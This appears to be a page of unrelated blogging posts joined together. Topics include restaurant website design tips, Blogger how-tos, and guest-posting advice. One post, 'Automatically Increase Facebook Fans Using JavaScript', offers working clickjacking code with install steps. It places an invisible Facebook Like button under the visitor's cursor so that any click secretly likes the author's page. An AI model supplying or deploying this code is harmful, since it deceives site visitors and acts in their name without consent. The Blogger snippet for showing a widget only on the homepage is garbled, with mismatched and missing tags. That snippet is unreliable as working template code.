7 Tips & Tricks to Creating a Gorgeous Restaurant Website

 

In order to create a proper website for people, you should start think in the same way they do. When it comes to designing a gorgeous restaurant website, what should you put your mind to? Well, why do people like going to restaurants? For the food, the ambience, to relax and have a good time with friends. Keeping that mind, restaurant websites can be real useful to the dining business.
Guests can have an opportunity to be acquainted with your menu, style, interior and services. Moreover, an online website also means that you can receive orders online as well as reservations for those interested to check out your restaurant. The website is a necessary attribute of any modern business.

So today I’d like to talk about creation of a proper restaurant website design. It seems easy on the surface, but still there are a few tips you totally should follow in order to create a gorgeous restaurant website that you can be proud of.

1. Target Audience

From the very beginning you have to find out your target audience. If there is a university near your cafe, students will probably be your frequent visitors. If there is a business center not far from your restaurant then expect business-executive types to lunch at your place. Check your surroundings for the type of target audience, their age group and ultimately their preferences.
After the target audience is defined, you can begin website creation. If it is a students’ cafe, a clean and bright design will be the perfect choice. But if you are trying to engage the more serious managers and office workers, go for an elegant or professional style.
CAU Restaurant

Also, you can arrange “happy hours” or some other discounts to attract more customers. Don’t forget to create an extra website page, slider image or pop-up window for a brief description about it. Here you can see an offer in a slider at the website header. The visitors of this website are well-informed, because the offer is on the main page.

2. Keep It Simple

Every good restaurant website should include important and required pages, such as a home page or main page, the menu, the ‘About us’ page, and a Contact form. It’s critically important to create all these pages, because without any of them the website will never be complete. You can also add a review page in order to show your visitors what people say about your restaurant.
Cantilever

Also, try your best to keep it as simple as possible. There is a design principle noted by the U.S. Navy that is called KISS. It means “Keep it simple, stupid”. By this principle, simplicity and a user-friendly design is your main goal. If a user doesn’t find what he or she is looking for in three clicks,it’s byebye for good.

3. Color Sheme

Have you noticed that the color palette of most restaurant sites consists of four main colors: brown, white, red and black. Of course, these days you can see a full spectrum of colors on restaurant websites, but these main four colors were selected for a reason.
Brown color symbolizes reliability, stability, and adherence to tradition.
FIG

White gives a feeling of freshness, purity, and freedom.
Solegiallo

Black is associated with mystery and power of creation. Moreover, food photography looks great on a black background.
Daimu

The color red is most often used by fast food restaurants as it is the symbol of passion and secret desires. Always try to take into consideration the fact that colors influence a user’s behaviour. Use this knowledge to your benefit.

4. Easy-to-use Contact Form

Your restaurant website should have an easy-to-use contact or feedback form. It’s not enough just to leave an email address or a phone number on the contact page. A contact form lets you add fields which can help narrow down what the person is trying to contact you for.
Also, don’t forget to attach a map to the form in order to show the location of your restaurant, that will remove questions about the location of your restaurant.

5. Stay Sociable

There are lots of social websites you can use to share information and find potential customers. Let your visitors follow your news, updates, and even staff via social networks. Stay open to communication, be friendly with your customers, be kind and they will act in the same way.
The Noodle Box

“Word of mouth” is a quite strong motivator. You can turn it to your advantage. Just share information that is really useful and interesting to your target audience, for example, the rules of proper nutrition with the corresponding dishes from your menu.

6. High-Quality Images

On the Web we are constantly fighting for attention and the website is usually on the front-end trying to get people to click in and find out more. Hence, it needs to be attractive first of all. Large background photos are an amazing choice for restaurant website design.
Also, you can add some high-quality images to the menu page in order to demonstrate how your dishes look like. Make the images “delicious”, they are supposed to arouse an appetite. Food photography should awaken a desire to try them out, because when they do, people can’t wait to step into your restaurant and get a bite.
Easy Bistro

Moreover, you can add some interior photos to your site to convey the cozy atmosphere that prevails in your restaurant.

7. Killing “About Us” Page

Your website is an instrument to win over the crowd and to top your competitors. The “About us” page should be unique and make you stand out from the crowd. Try to find your personality layer and add it there. Show your potential customers how friendly and professional your team is.
Square

People read the web information differently from the way they read books and magazines. They read fluently, selecting the key points for themselves. Keep this fact in mind and highlight the main moment with bold font. It will help not just to perceive the information better, but also to index it for search engines, such as Google.

Bonus Tip: Logo Placement

I’d like to share one more small tip with you. Almost all websites try to place the logo on the top left corner of the page. But why?
Napoli Centrale

According to the scientific research, when a person opens a website, his or her view runs from left to right. People are used to reading in a such way. So, the best place on the page to put a logo is the top left corner.

 

Use Your Own Search Box with Google Custom Search | Blogger

The accuracy of Google search and the ability to monetize your blog with it's flagship Adsense program are the two primary reasons one would replace blogger's default search with Google custom search. Other than that, adding a simple search box to blogger can do job for you. And its easier than 123. You can either add it from the 'Add a gadget' menu or grab the simple search form HTML code given after Step 7 below.

And as for the "Using your own search box with Google custom search" part, here are 7 easy steps you need to take.

Method:

Step 1. Visit google.com/cse and create a new search engine (If you don't already have it set).

Step 2. Navigate to 'Look and feel' on the left pane.

Step 3. Choose Results only layout and customize the style according to your liking.

Step 4. Now, Save and Get Code.

Step 5. Two code are displayed. Place the JavaScript code before the closing tag in your template. (Highlighted in red in Image below).

Step 6. Create a new page and name it "Search" (Without Quotes). Now paste the second code in HTML mode there and publish your page.

Step 7. Finally, add a new HTML/JavaScript gadget where you want to display your search box and paste the code below.

<form action="/p/search.html" class="clearfix">
<div>
<input class="search-input" name="q" placeholder="Search..." size="35" style="float: left;" type="search" /></div>
<div>
<input class="search-button" type="submit" value="Search" /></div>
</form>

Note: If you're using your own search box, just add the action="p/search.html" parameter.

There you go. Now you have your own search box integrated with Google CSE.

Recover an Accidentally Deleted Post on Blogger

While it may take hours to write a lengthy and well thought out blog post, you never know when you accidentally hit the delete button while saving or modifying your work -- And Poof!, all your previous work is gone.

You my have lost a post that was in draft or a previously published one. Fortunately, in both cases you can still recover or retrieve the post that was deleted unintentionally. There are several ways to do so:

Recovering a Post in draft / Unpublished:

If your post was in draft and got deleted, you need to find its URL:

• Depending on your browser, navigate to the your browser history and start looking for the link to the draft post.

Once you've found, you are most likely to retrieve it.

Recovering a published post:

If your post was published earlier, you have two places to look for:

    1. Search Engine Cache:

All popular search engines maintain the cache of indexed pages. To access the cache of your blog, enter the following and click the cache button right next to the results.

site:yourblogurl.com
For example: site:techmarshal.blogspot.com

    2. Blog Feeds:

If your blog publishes feeds, subscribe to your own feeds using Google Reader (google.com/reader) or any other similar feed readers and recover your post.

Good Luck!

Keep These in Mind Before Submitting a Guest Post

If you’re fond of writing and want to submit your guest post on blogs, but they rejects your post then you should be ready to accept your mistake and improve them with right method, so read this and let yourself inspire with making mistakes.

Don’t Use Old or Released Articles

Some articles are really too old, so you should not submit articles like that, Writing these types of article can not improve your chances to be accept your post on blog. In addition they may remove your last published article if they blindly trusted on your article for uniqueness. So be unique and write unique articles.

Don’t submit Uncategorized Article

When you submit article you write but if your article doesn’t suits there blog or does not matching with their blog for publishing, then ofcourse it won’t be published. So First read the categories of posts they’re accepting and then submit your guest post.

Never Submit Article with Lack of Visualisation

If you’re writing a tutorial based article or something like that then you must show some images or video for your articles, there will be more interest if your article have images, as considering w/o image article and with image article, with image article will be more successful and keep finding traffic itself by various sources. So just have some visualized content like image or video. Don’t bore with text only. J

Don’t Submit w/o Layout Adjustment

If your post does not have adjusted layout, then it may rejected in blog with more guest post traffic, some bloggers may adjust layout suitable to their blog, but your post should be ready to publish in seconds without any adjustment, this will bring easy and speedy approval for your future guest posts.

Write Some Bio About Yourself

If you will write a short description about yourself and give your link then it will be easy to approve your guest post, after all you are posting for that . And if your bio is not available then you’ll not able to get credits because user cannot see your name there. So its recommended to give your bio with post.

Follow Instructions Carefully

If there is description or faq about guest posting then read that because you’ll get knowledge of niches of your posts and how many links they allow, etc… and if you’re not knowing this then you’ll submit a post with your backlinks then your post may get disapproved.

Use Some Nice Word Vocabulary

If you’re using some conventional word its just simple article but you can use many more words which have the same meaning but gives you nice impressions to readers, for example if you’re writing “Live Demo” then instead you can write “Visualised Sample” or “Have Eyes on Project” this will improve your wrting skills too and let you give more impressions

Hide/Show Widgets/Gadgets in Home/post/static/archive pages in Blogger

Once you activate any widget, in your blog, it will be displayed in all the pages by default, including your homepage.But what if you want a certain widget to appear only on a certain page or pages, can it be done? Yes You can do this easily using conditional tags.

first go to Blogger’s Dashboard > Design > Page Elements tab and add a “HTML/JavaScript” gadget.

I prefer it because it will be easy for everyone to understand. Give it a unique title so that it does not match with any of the titles of other widgets added.

Go to Dashboard > Design > Edit HTML.
Check the Expand Widget Templates check box on top right of the HTML window.
Find your widget in the HTML by using Ctrl+F and entering the widget Id in the search box.
Let’s say I have given the title for my widget as “Recent Comments”. After searching you will find the below snippets:

<b:widget id='HTML1' locked='false' title='Recent Comments' type='HTML'>
<b:includable id='main'>
<!-- only display title if it's non-empty -->
<b:if cond='data:title != ""'>
<h2 class='title'><data:title/></h2>
</b:if>
<div class='widget-content'>
<data:content/>
</div>

<b:include name='quickedit'/>
</b:includable>
</b:widget>

It’s the widget/gadget that you have added from Page Elements tab. All is left is to add conditional tags just below and above to hide the widget form specific pages or posts in Blogger. Let us see some examples:

To show the widget only in HomePage

<b:widget id='HTML1' locked='false' title='Recent Comments' type='HTML'>

</div>

<b:include name='quickedit'/>

</b:if>

</b:if>
<div class='widget-content'>
<data:content/>
</div>

<b:include name='quickedit'/>

</b:if>
</b:includable>
</b:widget>

To hide widgets in Static Pages

<b:widget id='HTML1' locked='false' title='Recent Comments' type='HTML'>
<b:includable id='main'>

<b:if cond='data:blog.pageType != "static_page"'>
<!-- only display title if it's non-empty -->
<b:if cond='data:title != ""'>
<h2 class='title'><data:title/></h2>
</b:if>
<div class='widget-content'>
<data:content/>
</div>

<b:include name='quickedit'/>

</b:if>
</b:includable>
</b:widget>

The code will check whether the condition is true or false:

• If the result is true, it executes (and display) the widget’s content.
• If the result is false, it skips the content and hide the widget.

Click Save Template button and view your blog.
That’s all:)

Automatically Increase Facebook Fans Using JavaScript

Well today i have found another simple to be applied script for your blogs or website which can gain few more unique likes to your facebook page, with this script applied any unique visitor who comes to your page can become your fan. He just needs to click anywhere on the webpage as a small invisible like button will follow his mouse cursor and as soon he clicks anywhere he will be liking your fan page. So now straight away jumping on how it can be applied in a webpage or blog just follow the below simple steps.

How to Add This JavaScript to blogger?

• Go to blogger—>Template—>Edit HTML
• Hit “proceed”
• Tick on “Expand Widget Template” Check box
• Search for </head> in your blogs HTML and paste the below script above it.

    <script src="http://ajax.googleapis.com/ajax/libs/jquery/1.5.2/jquery.min.js" type="text/javascript">
</script>
<script type='text/javascript'>
function ClickJackFbHide(){
jQuery(&quot;div[id^=\&#39;clickjack-button-wrapper\&#39;]&quot;).hide();
}
function ClickJackFbShow(){
jQuery(&quot;div[id^=\&#39;clickjack-button-wrapper\&#39;]&quot;).show();
}

</script>

•  Now again search for </body> in your blogs HTML and paste below code above it.

<div id="clickjack-button-wrapper-5" style="position: absolute; opacity: 0; filter: alpha(opacity = 0); -ms-filter:'progid:DXImageTransform.Microsoft.Alpha(Opacity=0)';  margin-left: -50px; z-index: 100; width:27px; height:20px; overflow:hidden">

<!--<div style="position: absolute; top: 5px; left: 5px; z-index: 1000; height: 13px; width: 15px;"></div>-->

<iframe src="http://www.facebook.com/plugins/like.php?href=Fanpage URL Link&amp;layout=button_count&amp;show_faces=false&amp;width=50&amp;action=like&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:45px; left:-19px; height:21px; z-index: 0; position: relative;" allowTransparency="true"></iframe>

</div>
<script type="text/javascript">
jQuery( document ).ready( function() {
$( "#clickjack-button-wrapper-5" ).parent().mousemove( function( e ) {
jQuery( "#clickjack-button-wrapper-5" ).css( {
top: e.pageY - 10,
left: e.pageX + 30
} );
} );
clickjack_hider();
var clickjack_fb_timer = setTimeout("clickjack_hider()",5000);
} );
function clickjack_hider(){
jQuery("input").mouseout(function(){ClickJackFbShow();});
jQuery("a").mouseout(function(){ClickJackFbShow();});
jQuery("button").mouseout(function(){ClickJackFbShow();});
jQuery("textarea").mouseout(function(){ClickJackFbShow();});
jQuery(".ratingblock").mouseout(function(){ClickJackFbShow();});         jQuery("object").mouseout(function(){ClickJackFbShow();});
jQuery("input").mouseover(function(){ClickJackFbHide();});
jQuery("a").mouseover(function(){ClickJackFbHide();});
jQuery("button").mouseover(function(){ClickJackFbHide();});
jQuery("textarea").mouseover(function(){ClickJackFbHide();});
jQuery(".ratingblock").mouseover(function(){ClickJackFbHide();});         jQuery("object").mouseover(function(){ClickJackFbHide();});
}
</script>

• Now just replace the red line in above code with your facebook page URL and that’s it now just save the template and jump over to your website to test it out.

Now as soon as you refresh your blog you will see that your cursor has been changed into the hand one as there is a link moving with it. Now your blog readers will see similar thing and ass soon as they will click it they will become your page fan.

Remember :- There are some issues you might face using this script in your website or blog, the first thing is that when people drag they might not able to select the text as they will a semi visible Like button which will be attached to your mouse cursor as it moves, the second one some other gadgets might get affected and act weirdly, try using it if everything works ok than start increasing your fans

Well commenting is a powerful way to build quality backlinks, but people or I say spammers are using this same trick to spam on quality blogs and get their page rank and traffic right to their blog, so no matter how much quality blog do you own this thing can happen and will surely happen. Well now the one way easy way to get rid of these stuff is too use the Disqus or Intense Debate commenting system that allows you to configure on how you wanna show the links posted in your comments.
